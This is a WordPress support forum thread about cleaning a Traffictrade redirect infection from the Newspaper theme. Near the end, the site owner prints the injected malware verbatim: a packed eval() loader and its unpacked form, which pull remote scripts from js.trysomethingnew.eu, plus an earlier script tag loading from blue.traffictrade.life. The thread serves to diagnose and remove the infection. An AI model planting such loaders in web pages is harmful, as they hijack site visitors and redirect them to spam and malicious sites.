Traffictrade malware – Newspaper 8.1 – All updated

Hi,

My site has been infected by the famous Traffictrade malware.
I’ve removed the script from Theme panel Header ad field manually. The script does not appear again there.

Please note the facts:

• I have the latest updates of WordPress core, all plugins and Newspaper 8.1.
• There are no other deactivated themes or plugins on my installation (except Twenty Seventeen).
• There is no sign of traffictrade malware in the db.
• There is no sign of traffictrade malware in the source code.
• I do not have the searchreplacedb2.php script on my server.
• I have the latest Wordfence (and WAF) installed & configured.

My site still redirects to spam sites.

When I deactivate all plugins the site redirects.
When I deactivate all plugins and activate the Twenty Seventeen theme the site is ok.
When I activate all plugins and activate the Twenty Seventeen theme the site is ok.

So my conclusion is that something goes wrong with Newspaper 8.1 theme.

Please keep in mind that I’ve tested the same installation to different servers.
I’ve also tested with all WP core, plugins and themes files fresh downloaded and replaced.

What do you think we can do to clean the theme? I’ve read that this issue has been resolved in the past, but you can see the situation I’ve described.

Thank you in advance for your help.

Hi,

As you can see in my message:

Please note the facts:

I have the latest updates of WordPress core, all plugins and Newspaper 8.1.

There are no other deactivated themes or plugins on my installation (except Twenty Seventeen).

There is no sign of traffictrade malware in the db.

There is no sign of traffictrade malware in the source code.

I do not have the searchreplacedb2.php script on my server.

I have the latest Wordfence (and WAF) installed & configured.

Please keep in mind that I’ve tested the same installation to different servers.
I’ve also tested with all WP core, plugins and themes files fresh downloaded and replaced.

My site still redirects to spam sites.

When I deactivate all plugins the site redirects.
When I deactivate all plugins and activate the Twenty Seventeen theme the site is ok.
When I activate all plugins and activate the Twenty Seventeen theme the site is ok.

So my conclusion is that something goes wrong with Newspaper 8.1 theme.

Any suggestions?

Thank you.

Did you do a full clean install of WP, deleting old version entirely?
Delete entirely all plugins and themes.
Check your htaccess for malicious entries.
Check folders, like the uploads folder for rogue php files?

Again: did you do a full proper install of Newspaper 8.1; meaning DELETE old theme folder entirely, upload NEW fresh copy — not over-writing which leaves old code there.

Scan site with Securi?

Follow online tutorials to check dbase for the malware infection?

Did you delete items in the ad boxes in theme and resave per the common tutorials online?

• This reply was modified 8 years by simchris.

Hi,

Yes, I’ve done what you’ve described.
Sucuri site scanner does not catch the malware, it shows it’s ok.
But the redirection insists.

Thank you.

Well, if you install a ‘clean copy’ of the theme, and then it gets re-infected, then there is some malicious code on your site, or the overall site has been hacked.

Did you also remove any child theme if using one?

The version on ThemeForest is not infected.

Did you change *all* your passwords for WP, FTP, and your hosting panel?

Did you try going to an older dbase backup not infected?

We’re not having this issue on any of our sites, so not sure what to tell you beyond that.

I’m assuming you’ve done all the tutorials:
https://aw-snap.info/articles/malware-of-the-day.php

https://www.wordfence.com/blog/2017/08/traffictrade-malware/

http://www.wpbeginner.com/beginners-guide/beginners-step-step-guide-fixing-hacked-wordpress-site/

https://codex.wordpress.org/FAQ_My_site_was_hacked

https://sucuri.net/guides/how-to-clean-hacked-wordpress

http://danfennell.com/2017/07/24/traffictrade-life-malware-removal/

(I don’t work here.)

• This reply was modified 8 years by simchris.

you must check cron job. maybe they are using cron job and add hackink your website. there are tmp folder in main folder. here sess_ files. check them.

Hi,

Chris and mhendiz thanks for your advice, I’ve had already done all of your suggestions.
Finally I think I’ve resolved the issue. Here’s my thoughts:

Just before the beginning of my clean-up procedure the malware moved the script to
WP Admin > Newspaper > Theme panel > Custom Code > Custom Javascript

I found the following JS in this field:


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('7 1=2.6(\'1\');1.5=\'4://3.8.9/d.3\';2.a(\'b\')[0].c(1);',14,14,'|script|document|js|https|src|createElement|var|trysomethingnew|eu|getElementsByTagName|head|appendChild|analytics'.split('|'),0,{}))


If you unpack the above, you’ll get:


var script = document.createElement('script');
script.src = 'https://js.trysomethingnew.eu/analytics.js';
document.getElementsByTagName('head')[0].appendChild(script);


So that’s why I couldn’t find the infection in the db.

The first stage of the infection included the following in the WP Admin > Newspaper > Theme panel > Header Ad:


<script src='https://blue.traffictrade.life/main.js' type='text/javascript'></script>

I hope now that I’ve installed fresh copies of WP, theme and plugins the issue will be resolved.

You can also check this post, if you encounter the same issue with old versions of Newspaper theme: https://productforums.google.com/forum/#!topic/webmasters/u5mYsV6gVdg

Whew! And your Securi free account was supposed to catch that, too!

Glad you got it sorted.

(WHEW!!)

++++++++++1!!!!!

Yes. The website of my client with Version: 4.6.2:

Yes. older versions of theme may have security flaw as already noted.

Versions prior to 6.7.2 may not be secure:
https://forum.tagdiv.com/topic/tutorial-good-basic-security-practices/